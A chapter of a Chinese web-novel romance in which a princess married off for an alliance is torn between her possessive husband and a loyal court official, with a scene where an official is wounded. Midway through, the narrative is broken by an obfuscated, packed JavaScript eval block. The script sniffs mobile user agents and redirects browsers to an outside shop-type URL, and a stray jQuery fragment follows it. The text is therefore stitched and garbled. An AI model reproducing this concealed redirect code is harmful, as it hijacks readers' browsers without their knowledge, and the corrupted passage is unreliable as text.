“你这破烂地方,治不好我的妻。” 他看见朱辞秋另一只手中裹着纱布,又抬眼与她对视,眉眼间的心疼无法言表,愧疚也更甚。 可她被他们扯着手腕胳膊,两方之人都挣脱不开,不由得蹙起好看的眉头,苍白的面色愈发凌厉,但面前的两个男人仍剑拔弩张地僵持着。 “够了。”她看向乌玉胜,倏然出声,又扭头看了一眼顾霜昶,“放手。” 顾霜昶有些激动:“殿下!” 她淡然开口:“我说,放手。” 顾霜昶犹豫几瞬,还是缓缓松开手。与此同时,乌玉胜手中佩刀立马收回刀鞘,如愿以偿地将朱辞秋拉至他身侧,结实有力的臂膀搂着她,也让她动弹不了,只能老实待在他身侧。 她抬首,看见乌玉胜扬起下巴,挑衅般看向顾霜昶,又将她搂得更紧。 顾霜昶双目狠切,似要将乌玉胜千刀万剐。他的双手藏在宽大的衣袖中,紧握成拳。连露出的脖颈都青筋暴起。若他是个武夫,此时怕早已与乌玉胜大打出手了。 殿外的雨声一直未停,顾霜昶身后的使臣们面面相觑,终于有一人战战兢兢走至他身侧,在他耳侧小声开口:“顾大人,此地可是南夏,我们、莫要节外生枝啊!” “住口!”顾霜昶极少见的言辞冰冷,连眉目都染上冰霜,他看向身旁唯唯诺诺的同僚,又回过头,环顾四周,身后的文臣无一不面露胆怯,齐齐缩成一团,大气都不敢出。 只有胡太医老神在在地躲在角落里,似有似无地看向他,也是一副与他无关的模样。 他气笑了,猝然伸出右手,指向乌玉胜,厉声道:“诸位,他曾经是穆东风穆将军的副将穆雨生。是他!窃取军机,坑害穆老将军至他战死沙场!若非是他,我大雍怎会千疮百孔,腹背受敌!如今又挟持我朝公主,逼她向他俯首称臣,连尊严都被践踏至此。一国公主即便沦落至此,她都不愿放弃故土与百姓,你们却只因区区一个穆雨生就胆怯至此,连刀剑都提不起来!你们!你们!竟要将我朝公主再度送与贼子手中,任人欺辱!” 他眼神凌厉,说出的话掷地有声:“若你们真贪生怕死至此,那你们头上那顶乌纱帽,我必替陛下将其摘下。” 身后的官员们大气都不敢出,只有在他身旁耳语的那名官员小声不满道:“怀宁殿下是和亲到南夏的,嫁的人正是身旁这位少主,如今他要将殿下带回去,也情有可原。殿下已然嫁至南夏,民间尚有嫁出去的女儿泼出去的水之言,殿下如今便也不是大雍之人,大人又有何理由阻拦少主将殿下带回去呢。” “说得也是啊!” 那些缩成一团的官员们见状,也开始附和。 “顾大人,我们自己尚且深陷此地,又何必节外生枝啊!” “是啊顾大人!若是惹恼了南夏王主,咱们久都回不去大雍了,何苦如此!” “再说怀宁殿下如今也好端端地活着,甚至能来见你我。顾大人何必对我等夹枪带棒的。” “况且……况且怀宁殿下一意孤行要替穆老将军守边关,才导致穆家全军覆没,十三州尽失。何必管她生死……” “是啊!区区一介女子能成什么大事,丢了国土还害死穆家满门,如今来南夏和亲,也算能赎一赎她的罪过了。” “……” 他们的声音越来越大,大到朱辞秋站在乌玉胜身侧都能清晰地听见每一个字。 乌玉胜眼神凌厉阴冷地看向角落中说话的每一人,又低头看了眼朱辞秋,忽然用手将她搂得更紧,让她靠着自己的胸膛,又用宽大的手掌捂住她的耳朵。 “别听。” 他说了两个字,朱辞秋靠着他,能听清衣衫下心跳声,也能感觉到他一说话,胸脯的律动。 “下次,我一定带暗器。叫他们闭上臭嘴。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129943|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱辞秋笑了笑,不以为然。 旁人爱说什么便说什么,她不在意。 可下一瞬,乌玉胜便抽出佩刀,随意地顺手一甩,甩在了顾霜昶身侧那最先说话的官员大腿上。 鲜血与尖叫声蹦然而出,叫那群人再度慌了神,到处躲藏着。 而一侧的顾霜昶被溅了一身的血,看向身侧的同僚时,连眼睛都未眨一下,只默默退开两步,任由他在地上随意的痛呼翻滚。 过了一会儿,他终于忍不住般,颤抖着手,指向身后一群群人,大声高呼:“够了!出去!” “顾大人?!” “出去!” 那群人拽起躺在地上捂着伤口的官员,仓皇失措地逃出了门。 朱辞秋抬眼看向顾霜昶挺立的脊背,忽然想起如今燕京由朱承誉把持,又怎会真的让他带得力之人于身侧。 她看着,看着一贯端庄自持的顾霜昶又弯腰拾起地上的长剑,宽大衣袖飞舞,将剑尖指向乌玉胜,厉声道:“穆雨生,放开殿下!” “她如今是我的妻。谁都带不走她,只有我,可以。”乌玉胜垂首看向朱辞秋,眼中痴狂偏执冲破安分的假象,重新向她露出獠牙与尖爪。 他伸出修长的食指挑起她的下巴,强迫她与他对视。 朱辞秋看清那双深棕色眼眸中的癫狂,心道一句:再不灭火,就要糟了。 于是,她伸出手探向乌玉胜脸上那道长长的伤口。 冰冷柔软的手指触碰到冰冷的脸颊,在伤口处停留片刻,她踮起脚,轻声在他耳畔呢喃:“乌玉胜,会留疤吗?” 乌玉胜一把抓住她的手,让她的手紧紧贴着冰冷带着雨气湿润的脸颊,眼神柔和几分,又猝然升起霸道。 他握着她的手,蹭了两下。然后头也不偏,只双眸转动几瞬,将视线定格在举着剑一动不动的顾霜昶身上,恶劣地挑衅着他。 他故意说得很大声:“阿秋放心,定不会留疤。只是要辛苦你,多替我涂涂伤口了。” 阿秋? 朱辞秋嘴角抽了抽,不自觉地瞪了他一眼,小声道:“你给我适可而止!” 乌玉胜眉目转向她,勾起唇角咧了个大大的笑脸,低头凑到她耳侧,轻言:“我早就想这般叫殿下了。” 他的发梢扫过她的脸颊,轻声说出的话也扫过她波澜不惊的心底,又泛起一阵涟漪。窗外呼啸的风声带动着心底的涟漪,连耳中清晰可闻的雨声都逐渐消失。 雨好像,小了。 此时顾霜昶手中的剑毫无章法的砍向乌玉胜。乌玉胜抱着她,连连躲过,最终靠在墙边,避开自殿外传来的冷风凉意,叫她安稳地待在他怀中。 朱辞秋想要挣脱乌玉胜的束缚,却仍是徒劳,便老实地待在他怀中,淡定地看向顾霜昶,道:“顾大人,你打不过他的。” 顾霜昶闻言,终于停在原地,盯着她。 良久,他苦涩又期盼着开口:“殿下……你方才所说,臣愿一听。” 乌玉胜闻言一愣,手中力道松了半分,不自觉开口问她:“什么话?” “乌玉胜,”她看向面前男人的双眼,又看向对面的顾霜昶,忽然出声。最终,她仍垂眸看着乌玉胜衣摆上的血渍与雨水,似是轻叹道,“我现在不能跟你走。” 窗外骤雨狂风,又渐渐大了起来。 乌玉胜将搂得更紧,却又忽然松开了她,转而用宽大的手掌紧紧握着她的手,不管不顾的与她十指相扣。 他深深地看向她,渴求她对他再袒露一些真心。 “那我就在此,等殿下愿意跟我走。”